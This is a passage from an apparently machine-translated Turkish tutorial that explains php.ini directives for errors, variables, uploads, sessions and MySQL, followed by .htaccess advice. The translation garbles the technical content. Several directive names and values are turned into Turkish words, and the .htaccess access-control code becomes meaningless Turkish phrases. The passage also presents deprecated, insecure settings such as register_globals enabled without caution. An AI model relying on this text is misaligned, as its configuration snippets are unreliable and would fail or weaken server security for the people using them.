Log_errors_max_len = 1024; Günlük uzunluğunun olabileceği maksimum karakter sayısı.

Track_errors = Açık ; En son hata mesajları $php_errormsg değişkeninde saklanacaktır.

Html_errors = Açık ; Hata mesajlarının HTML'de görüntülenmesine izin verin.

Error_log = dosya adı; Hata günlüğünün adını belirtir.

Veri işleme

değişkenler_sipariş = "EGPCS"; PHP'nin değişkenleri (E - yerleşik değişkenler, G - GET değişkenleri, P - POST değişkenleri, C - Çerezler, S - oturumlar) kaydedeceği sırayı ayarlar. Harflerden herhangi birini kaldırırsanız ilgili değişkenlerin çalışması engellenecektir.

Register_globals = Açık ; GET/POST/Cookie/session aracılığıyla gelen değişkenleri normal değişkenler olarak ele alma yeteneğini etkinleştirir (örn. "$değişkenadı").

Register_argc_argv = Açık ; GET yönteminden gelen bilgilere dayanarak $argv ve $argc değişkenleri oluşturmaya izin verilir.

Post_max_size = 8M; Alınabilecek maksimum veri miktarını ayarlar.

Magic_quotes_gpc = Açık ; POST/GET/Cookie aracılığıyla gelen tekliflerin otomatik olarak işlenmesini sağlar.

Auto_prepend_file = ; Bu direktiflerde belirtilen dosyaların içerikleri, betiği çalıştırmadan ÖNCE PHP tarafından uygun şekilde işlenmelidir.
auto_append_file = ; Bu direktiflerde belirtilen dosyaların içerikleri, betik yürütüldükten SONRA PHP tarafından uygun şekilde işlenmelidir.

Default_mimetype = "metin/html"; İçerik türü için kodlamayı ayarlar. Varsayılan olarak metin/html, kodlama belirtilmeden kullanılacaktır

Belge_kökü = ; PHP betiklerinin kök klasörünü ayarlar.

Extension_dir = "./"; Dinamik olarak yüklenen uzantıların depolanacağı klasörü belirtir.

Dosya yükleme

file_uploads = Açık ; Dosyaların sunucuya yüklenmesine izin verilir.

Upload_tmp_dir = ; İndirilecek dosyalar için geçici dizin.

Upload_max_filesize = 2 milyon; Yüklenebilecek maksimum dosya boyutunu ayarlar.

Soketlerle çalışma

user_agent = "PHP"; USER_AGENT değişkeni bir soket bağlantısı oluştuğunda ayarlanır.

Default_socket_timeout = 30; Bir sokette dinlemek için maksimum süre (saniye).

Oturumlar

session.save_handler = dosyalar; Oturum bilgilerinin dosyalarda saklanması gerektiğini belirtir

oturum.save_path = /tmp; Eşittir işaretinden sonra, oturumlarla ilgili bilgilerin saklanacağı klasörün yolunu belirtmeniz gerekir (klasörün zaten mevcut olması önemlidir)

session.use_cookies = 1; Oturumlarda çerez kullanımına izin verir

oturum.adı = PHPSESSID; Oturum kimliğinin oturum adı ve oturum çerezi olarak kullanımını belirtir

session.cookie_lifetime = 0; Oturum ömrü ("0", oturumun tarayıcı penceresi kapatılıncaya kadar devam edeceği anlamına gelir)

session.use_trans_sid = 1; Kullanıcının çerezleri devre dışı bırakması durumunda oturum kimliği tüm bağlantılara eklenecektir

Dinamik Uzantılar

uzantı=modüladı.uzantı; Harici modülleri yüklemek için kullanılabilir. Windows sistemleri için genellikle extension=msql.dll yazarlar ve
UNIX - uzantı=msql.so

MySQL modülleriyle çalışma

mysql.allow_persistent = Açık; Kararlı MySQL bağlantılarına izin verir.

Mysql.max_persistent = -1; Maksimum kararlı MySQL bağlantısı sayısını ayarlar. -1 belirtirseniz bu herhangi bir kısıtlama olmadığı anlamına gelecektir.

Mysql.max_links = -1; Maksimum kararlı MySQL bağlantısı ve kararsız ODBC bağlantısı sayısını ayarlar. -1 belirtirseniz bu herhangi bir kısıtlama olmadığı anlamına gelecektir.

Mysql.default_port = ; mysql_connect işlevi için bağlantı noktası.

Mysql.default_socket = ; Yerel MySQL bağlantıları için soket adı.

Mysql.default_host = ; mysql_connect işlevi için ana bilgisayar adı.

Mysql.default_user = ; Kullanıcı adı.

Mysql.default_password = ; Şifre.

Kendi php.ini dosyanızı oluşturup site klasörüne yerleştirdiyseniz

Bu durumda, güvenlik nedeniyle, sizin dışınızdaki herkesin erişimini engellemeniz gerekir. Bunu yapmak için .htaccess dosyasına aşağıdaki kodu yazmanız gerekir:


sipariş izin ver, reddet
herkesten inkar et

Ama dikkatli ol, çünkü... Bu ayarlarla, .htaccess dosyası aracılığıyla php ayarlarıyla ilgili tüm yönergeler (php_value, php_flag, vb.) çalışmayı durduracaktır (500 Dahili Sunucu Hatası görüntülenecektir).

Önemli! Kendi php.ini dosyanızı oluşturursanız, bu yalnızca bulunduğu dizini etkileyecektir.